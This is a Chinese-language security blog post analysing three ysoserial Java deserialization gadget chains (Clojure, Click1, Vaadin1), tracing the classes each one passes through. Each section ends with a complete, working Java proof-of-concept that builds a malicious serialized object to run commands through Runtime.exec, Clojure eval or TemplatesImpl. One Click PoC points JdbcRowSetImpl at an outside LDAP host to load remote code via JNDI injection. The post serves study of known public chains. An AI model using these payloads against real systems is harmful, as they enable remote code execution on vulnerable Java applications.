Diggid's Blog

Java 反序列化Gadgets分析 - Clojure/Click1/Vaadin1

字数统计: 2.6k阅读时长: 11 min
2021/09/24 Share

前言

继续分析ysoserial中的三条链子

Clojure

官网:https://clojure.org/guides/repl/data_visualization_at_the_repl

教程:https://www.w3cschool.cn/clojure/

Clojure是一种高级的,动态的函数式编程语言。 Clojure是基于LISP编程语言设计的,并且具有使其在Java和.Net运行时环境上运行的编译器。

Clojure作为一种编程语言,具有以下几种高级属性:

  • 它基于LISP编程语言,使其代码语句比传统的编程语言更小。
  • 它是一种函数型编程语言。
  • 它专注于基本概念的不变性,你不应该对创建的对象进行任何更改。
  • 它可以管理程序员的应用程序的状态。
  • 它支持并发。
  • 它包含现有的编程语言。 例如,Clojure可以利用整个Java生态系统来管理通过JVM运行的代码。

类似于BeanShell和Groovy这两条链子,Clojure这条链子又是一条在java上解析和执行新的编程语言而出现的利用链。同时,这条链是通过gadgetinspector挖掘的,是完全自动化挖掘的一条链子,在下面的分析中从Clojure中的类名和类之间的关系也可以看出来这条链子很难人工挖掘。

前置

执行java代码

这一部分涉及Clojure语法,也就是说如何利用Clojure语法调用java代码,这里不多解释,直接给出两个执行命令的示例,其底层都是调用了java.lang.Runtime的exec方法

1
2
3
4
5
// 数组形式
(use '[clojure.java.shell :only [sh]])(sh"cmd" "/c" "calc")

// 单参字符串形式
(import 'java.lang.Runtime)(. (Runtime/getRuntime) exec"calc")

Compiler#eval

clojure.lang.Compiler类的eval方法用于在java中解析执行Clojure代码。笔者由于对Clojure使用和源码了解甚浅,因此这里仅提一下。该方法通常传入PersistentList 对象,该对象用于保存Clojure解析需要的上下文,因此审计可以作为一个Sink点来看待

main$eval_opt

clojure.main$eval_opt类具有两个方法,invokeStaticinvoke,前者是static的,提供给外部直接调用;后者是public,是invokeStatic方法的封装,这两方法其实是一样的

image-20210924141137519

image-20210924141148952

invokeStatic方法中会调用clojure.core$eval#invokeStatic方法,后续会调用前面所说的Compiler#eval方法来解析执行。

image-20210924141300733

所以我们可以通过以下方式来执行命令

1
2
3
4
5
6
// 1:String[]
String payload1 = "(use '[clojure.java.shell :only [sh]])(sh\"cmd\" \"/c\" \"calc\")";
// 2:String
String payload2 = "(import 'java.lang.Runtime)(. (Runtime/getRuntime) exec\"calc\")";
// main$eval_opt.invokeStatic(payload2);
new main$eval_opt().invoke(payload2);

RestFn & invoke方法

在clojure这个包的整个组织架构中,大部分以core$xxxshell$xxx,即xxx$yyy命名形式的类,都继承了RestFn抽象类,而该抽象类又实现IFn接口,在RestFn类中,定义了多个重载的invokedoInvoke方法。所以如果要需要可控的invoke方法链,基本上所有clojure包中的对象都可以作为目标

AbstractTableModel$ff19274a

这个类中定义了hashCodetoString方法,具体看一下

  • hashCode

image-20210924142349448

  • toString

image-20210924142425213

成员变量__clojureFnMap是一个IPersistentMap接口类型对象,在上面两个方法中,都是从这个成员变量中通过key名来获取相应的对象赋值给var10000,然后调用var10000的invoke方法,看一下RT.get是如何获取的

image-20210925093737900

IPersistentMap是ILookup的子接口,因此会调用其valAt方法,该方法实际是调用IPersistentMap的实现类重写的,这里找到PersistentArrayMap,看一下其valAt方法

image-20210925094241314

这里逻辑很简单,就是从array中根据下标获取value值,而array在create方法中初始化,初始化方法是用另一个map去初始化这个PersistentArrayMap,先将key转换为索引i,在array[i]处放入对应的value,具体代码如下:

image-20210925094704890

image-20210925094752166

所以我们将__clojureFnMap设置为PersistentArrayMap即可,然后用对应的map去初始化PersistentArrayMap。而前面的hashCode和toString。hashCode可以选择HashMap,toString可以选择BadAttributeValueExpException。但是要想到main$eval_opt#invoke(),我们还需要单参数可控,因此这里还不能直接连接起来,需要继续找其他invoke链,在其中又调用invoke方法并且单参数可控

core$comp$fn__4727

这个和下面的那个类正好可以实现我们上面的需求。先看一下该类的构造方法和invoke方法

  • 构造方法:任意传两参并赋值给成员变量,完全可控

image-20210925095648054

  • invoke方法

image-20210925095759104

我们需要var10001.invoke(var10002)的返回值为任意可控,这样才能满足我们上面的要求,即设置var10000为main$eval_opt,返回值为前面恶意的clojure代码。看到var100001.invoke(var10002)这样的形式,可以联想到AnnotationInvocationHandler的invoke方法返回任意被代理方法的子类对象,可以找到一个类,其invoke方法的返回值可控即可。

core$constantly$fn__4614

所以找到了这个类,直接看其invoke方法即可,实际是RestFn

image-20210925100631672

再看一下doInvoke,直接返回成员变量,因此只要case是0或1,那么就可以调用doInvoke实现返回值可控

image-20210925100701684

利用链

  • hashCode
1
2
3
4
5
6
7
HashMap.readObject()
AbstractTableModel$ff19274a.hashCode()
clojure.core$comp$fn__4727.invoke()
|clojure.core$constantly$fn__4614.invoke() -> 控制返回值为clojure代码
clojure.main$eval_opt.invoke()
clojure.core$eval.invokeStatic()
Compiler.eval() -> 解析执行clojure代码
  • toString
1
2
3
4
5
6
7
BadAttributeValueExpException.readObject()
AbstractTableModel$ff19274a.toString()
clojure.core$comp$fn__4727.invoke()
|clojure.core$constantly$fn__4614.invoke() -> 控制返回值为clojure代码
clojure.main$eval_opt.invoke()
clojure.core$eval.invokeStatic()
Compiler.eval() -> 解析执行clojure代码

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public class Clojure {
public static void main(String[] args) throws Exception {
String payload = "(use '[clojure.java.shell :only [sh]])(sh\"cmd\" \"/c\" \"calc\")";
core$constantly$fn__4614 c4614 = new core$constantly$fn__4614(payload);

main$eval_opt meo = new main$eval_opt();

core$comp$fn__4727 c4727 = new core$comp$fn__4727(c4614, meo);

boolean flag = false;
Object obj;
if (flag) {
// toString
HashMap hm1 = new HashMap();
hm1.put("toString", c4727);
IPersistentMap pam = PersistentArrayMap.create(hm1);

AbstractTableModel$ff19274a at = new AbstractTableModel$ff19274a();
Reflections.setFieldValue(at, "__clojureFnMap", pam);

obj = new BadAttributeValueExpException(null);
Reflections.setFieldValue(obj, "val", at);
}else{
// hashCode
HashMap hm1 = new HashMap();
hm1.put("hashCode", c4727);
IPersistentMap pam = PersistentArrayMap.create(hm1);

AbstractTableModel$ff19274a at = new AbstractTableModel$ff19274a();
Reflections.setFieldValue(at, "__clojureFnMap", pam);

HashMap hm = new HashMap(2);
obj = hm;
hm.put("diggid","diggid");
Object[] table = (Object[]) Reflections.getFieldValue(obj, "table");
Reflections.setFieldValue(table[0] != null ? table[0] : table[1], "key", at);
}

Serializer.writeToFile("src/main/java/gadgets/clojure/exp.bin", obj);
Serializer.readFromFile("src/main/java/gadgets/clojure/exp.bin");
}
}

Click1

Click是一个 JEE Web 框架,但是使用的人并不多,所以下面的链子比较浅显的从寻找连接点的角度去分析,并未对Click的内部架构有较多的涉及。

前置

PropertyUtils

org.apache.click.util.PropertyUtils这个类是Click中用来操作属性的一个工具类,内部有两个static的成员变量,主要用于缓存,是ConcurrentHashMap类型的

image-20210925130841811

其中有一个getValue方法,用来提取对应类(source)中指定属性(name)的值,如果source本身是个Map的话,直接调用Map#get,如果不是Map的话,则会调用getObjectPropertyValue方法,该方法寻找属性对应的getter,通过反射调用getter来获取属性对应的值,还会用到缓存机制,也就是上面说的GET_METHOD_CACHE

image-20210925131215915

看一下getObjectPropertyValue方法

image-20210925131302639

再看一下ClickUtils.toGetterName

image-20210925131325336

所以我们这里如果可以指定source和name的话,那么就可以调用任意类的getter方法,就有了TemplatesImpl#getOutputProperties和JdbcRowSetImpl#getDatabaseMetaData这两个Sink点

ColumnComparator

org.apache.click.control.Column这个类用来提供表格<td> / <th>的一些渲染操作,其中定义了一个Comparator为ColumnComparator,用来比较一个Column中的两个row是否相同,具体看一下compare方法

image-20210925131903929

其中会调用Column的getProperty方法,这里又会继续调用PropertyUtils#getValue,就可以和上面连接起来了。然后comparator的部分用PriorityQueue就好了。

image-20210925132033260

image-20210925132010000

利用链

1
2
3
4
5
6
PriorityQueue.readObject()
Column$ColumnComparator.compare()
Column.getProperty()
PropertyUtils.getValue()
PropertyUtils.getObjectPropertyValue()
TemplatesImpl.getOutputProperties() / JdbcRowSetImpl.getDatabaseMetadata()

POC

  • TemplatesImpl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class Click1 {
public static void main(String[] args) throws Exception{

TemplatesImpl templates = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");
String name = "outputProperties";

Column column = new Column();
Reflections.setFieldValue(column, "name", name);
Reflections.setFieldValue(column, "table", new Table());
Comparator comparator = column.getComparator();

PriorityQueue pq = new PriorityQueue();
pq.add("diggid");
pq.add("diggid");
Reflections.setFieldValue(pq, "queue", new Object[]{templates,templates});
Reflections.setFieldValue(pq, "comparator", comparator);

Serializer.writeToFile("src/main/java/gadgets/click/exp.bin", pq);
Serializer.readFromFile("src/main/java/gadgets/click/exp.bin");
}
}

  • JdbcRowSetImpl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class Click2 {
public static void main(String[] args) throws Exception{

JdbcRowSetImpl jdbc = new JdbcRowSetImpl();
Reflections.setFieldValue(jdbc, "dataSource", "ldap://101.132.159.30:1389/Evil");
String name = "databaseMetaData";

Column column = new Column();
Reflections.setFieldValue(column, "name", name);
Reflections.setFieldValue(column, "table", new Table());
Comparator comparator = column.getComparator();

PriorityQueue pq = new PriorityQueue();
pq.add("diggid");
pq.add("diggid");
Reflections.setFieldValue(pq, "queue", new Object[]{jdbc, jdbc});
Reflections.setFieldValue(pq, "comparator", comparator);

Serializer.writeToFile("src/main/java/gadgets/click/exp.bin", pq);
Serializer.readFromFile("src/main/java/gadgets/click/exp.bin");
}
}

Vaadin1

Vaadin 是一个在Java后端快速开发web应用程序的平台。用 Java 或 TypeScript 构建可伸缩的 UI,并使用集成的工具、组件和设计系统来更快地迭代、更好地设计和简化开发过程。

这条链子和Click1类似,就是反射触发getter

前置

NestedMethodProperty

com.vaadin.data.util.NestedMethodProperty这个类用于封装一个对象/类的属性,并提供API来从对象/类中获取对应的属性值。

  • 构造方法

image-20210925135234697

instance就是目标对象,propertyName就是属性名,调用initialize方法设置属性对应的getters和setter,分别存放在getMethods(ArrayList)和setMethod这两个成员变量中,具体逻辑这里就不贴了,大致就是上面的过程

  • getValue

image-20210925135157071

提供获取属性值的api方法,逐个反射调用属性的getter。所以可以调用任意类的public getter

PropertysetItem

com.vaadin.data.util.PropertysetItem,这个类用于存储Property和对应Object的映射,并可以通过getItemProperty方法来根据Object来获取Property,所有映射的Object id存储在list

image-20210925140135013

而该类的toString方法会遍历每一个propertyId,并调用其this.getItemProperty传入该propertyId来获取属性,而后调用getValue方法来获取属性值

image-20210925140419059

利用链

1
2
3
4
5
BadAttributeValueExpException.readObject()
PropertysetItem.toString()
|PropertysetItem.getPropertyId()
NestedMethodProperty.getValue()
TemplatesImpl.getObjectPropertyValue()

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class Vaadin1 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");
String propertyName = "outputProperties";

NestedMethodProperty nmp = new NestedMethodProperty(templates, propertyName);

PropertysetItem pi = new PropertysetItem();
HashMap hm = new HashMap();
Object id = "any";
hm.put(id, nmp);
LinkedList list = new LinkedList();
list.add(id);
Reflections.setFieldValue(pi, "map", hm);
Reflections.setFieldValue(pi, "list", list);

BadAttributeValueExpException bvee = new BadAttributeValueExpException(null);
Reflections.setFieldValue(bvee, "val", pi);

Serializer.writeToFile("src/main/java/gadgets/vaadin/exp.bin", bvee);
Serializer.readFromFile("src/main/java/gadgets/vaadin/exp.bin");
}
}
CATALOG
  1. 1. 前言
  2. 2. Clojure
    1. 2.1. 前置
      1. 2.1.1. 执行java代码
      2. 2.1.2. Compiler#eval
      3. 2.1.3. main$eval_opt
      4. 2.1.4. RestFn & invoke方法
      5. 2.1.5. AbstractTableModel$ff19274a
      6. 2.1.6. core$comp$fn__4727
      7. 2.1.7. core$constantly$fn__4614
    2. 2.2. 利用链
    3. 2.3. POC
  3. 3. Click1
    1. 3.1. 前置
      1. 3.1.1. PropertyUtils
      2. 3.1.2. ColumnComparator
    2. 3.2. 利用链
    3. 3.3. POC
  4. 4. Vaadin1
    1. 4.1. 前置
      1. 4.1.1. NestedMethodProperty
      2. 4.1.2. PropertysetItem
    2. 4.2. 利用链
    3. 4.3. POC